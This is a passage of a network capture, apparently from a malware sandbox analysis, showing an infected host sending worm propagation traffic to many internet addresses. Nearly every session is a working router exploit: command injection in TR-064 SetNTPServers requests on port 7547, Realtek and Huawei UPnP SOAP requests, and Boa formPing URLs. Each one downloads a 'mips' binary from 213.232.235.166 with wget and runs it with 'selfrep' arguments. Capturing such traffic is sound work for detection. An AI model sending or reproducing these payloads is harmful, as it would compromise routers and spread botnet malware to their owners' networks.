Apr 15, 2024 08:52:55.983526945 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
523	192.168.2.13	54272	101.102.220.137	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:56.006412029 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
524	192.168.2.13	55102	111.92.62.176	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:56.053759098 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
525	192.168.2.13	56826	94.121.24.152	37215

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:56.119199038 CEST	805	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 448 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 20 2d 6c 20 2f 74 6d 70 2f 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 68 75 61 77 65 69 2e 73 65 6c 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 213.232.235.166 -l /tmp/a -r /mips; /bin/busybox chmod 777 /tmp/a; /tmp/a huawei.selrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
526	192.168.2.13	37412	199.208.108.1	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:56.138392925 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:56.347058058 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
527	192.168.2.13	51994	121.169.204.53	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:56.205035925 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
528	192.168.2.13	43210	24.232.34.170	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:56.229697943 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
529	192.168.2.13	58040	62.31.52.2	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:56.397743940 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
530	192.168.2.13	58832	62.29.37.153	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:56.410820007 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
531	192.168.2.13	38272	62.74.150.254	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:56.462528944 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
532	192.168.2.13	55122	111.92.62.176	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:56.480509043 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
533	192.168.2.13	54382	51.6.156.139	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:56.486270905 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
534	192.168.2.13	46436	213.243.58.187	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:56.757890940 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
535	192.168.2.13	60092	125.138.73.42	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:56.766151905 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
536	192.168.2.13	51156	61.76.227.58	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:56.766208887 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
537	192.168.2.13	52508	125.157.112.139	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:56.771698952 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
538	192.168.2.13	54674	14.78.176.81	7547

Timestamp	Bytes transferred	Direction	Data
